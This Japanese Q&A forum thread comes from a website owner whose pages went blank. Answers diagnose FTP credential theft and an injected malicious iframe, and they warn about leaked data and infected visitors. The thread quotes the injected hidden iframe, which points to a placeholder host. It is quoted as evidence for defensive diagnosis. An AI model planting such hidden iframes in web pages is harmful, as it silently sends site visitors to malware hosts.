WEBサイトの全ページが真っ白に。ウイルス？

Question

全50ページほどのWEBサイトを運営しています。サーバーはレンタルサーバーで、FTPソフトを使用してページをアップロードしています。先日、トップページを開いたところレイアウトがぐちゃぐちゃになっていました。（カラム落ちしたり、ヘッダーが表示されていなかったり。）そして、index以下のページは全て真っ白、何も表示されていない状態に。 FTPソフトで見ると、サーバー側のファイルの更新時間が、朝の8：42～43に全ページ書き換えられていました。もちろん何もさわっていません。ローカルファイルを一括アップロードすると元通りに回復しました。レンタルサーバー会社のお知らせに、「メンテナンス時に不具合が生じたようで…」とのコメント。サーバー側の不具合か？と思っていたのですが、真っ白になったページのソースを見てみると直下に

natukisin · Accepted Answer

> <iframe src="www.○○.com/70cc.php?id=codeblockstat" width="0" height="0" style="display:none;" />

こんな「絶対に画面上に表示させない」ことを狙ったiframeの挿入はウイルスか不正アクセス意外には考えにくいと思います。
仮に「サーバー側の不具合」だったとしても障害の類ではなく不正アクセスやウイルス感染の類だと思われます。
サーバー運営者側が現在はまだ調査中で障害の詳細を発表できていない、という可能性は考えられますが、詳細が出ていて内容があくまでメンテナンス関連のものであれば、今回の件との関連は薄いでしょう。

それよりも気になるのは、
> 「www.○○.com」にアクセスすると、わけのわからない真っ青な外国のページでした。
何故、そんな怪しげなサイトにアクセスしちゃいますか？
該当のコードはそのサイトにユーザーをアクセスさせることが目的のコードですので、そこにアクセスした時点で一巻の終わりである可能性が非常に高いです。
アクセスすることでウイルスに感染させるなどというレベルでなく、既にウイルス感染したPCをそこにアクセスさせることで個人情報を根こそぎ引っこ抜いている可能性も十分に考えられます。
状況から、あなたのPC内のデータは全部外部に流出してしまった可能性を考慮しておくべきでしょう。

また、
> 「ガンプラ―ウイルス」というものにも感染したことがある
という経緯がありながら
> その時は特に実害がなかった（ように思われた）ので、パスワードもそのままにしたと思います。
という辺りも非常にぬるすぎます。
ほとんどダダ漏れじゃないですか。

> こういうのはどういう方がどういう目的で発信するんでしょうかねぇ…
ネットショッピングなどで利用するクレジットカードの情報などを奪う、などが主な目的です。
軽度なイタズラレベルでは、写真などの画像を抽出して、プライベートな恥ずかしい画像などがあればそれを本名・住所付きでネット上にばらまいたりする人もいますね。

仮にあなたのPCにはそのような情報がなく特に実害が無かったとしても、今回のようにFTPのパスワードを奪いあなたのサイトの情報を書き換えることで、あなたのサイトを信用して閲覧しに来る全てのユーザーに同様のウイルスを感染させ、そちらで実被害を大量に出します。
つまり、あなたがそういうウイルス対策を放置して適当に済ますことは、あなたの友人・知人に対して個人情報漏洩を幇助していることになるのです。

violet430 · Answer

レンタルサーバ会社へ確認すべきです。その上で彼らが知らないということなら不正アクセスされた可能性があるということですね。もしそうなら今後はそのサーバを解約した方がいいと思います。

WEBサイトの全ページが真っ白に。ウイルス？

> <iframe src="www.○○.com/70cc.php?id=codeblockstat" width="0" height="0" style="display:none;" />

レンタルサーバ会社へ確認すべきです。

似たような質問が見つかりました

関連するカテゴリからQ&Aを探す

デイリーランキングこのカテゴリの人気デイリーQ&Aランキング

マンスリーランキングこのカテゴリの人気マンスリーQ&Aランキング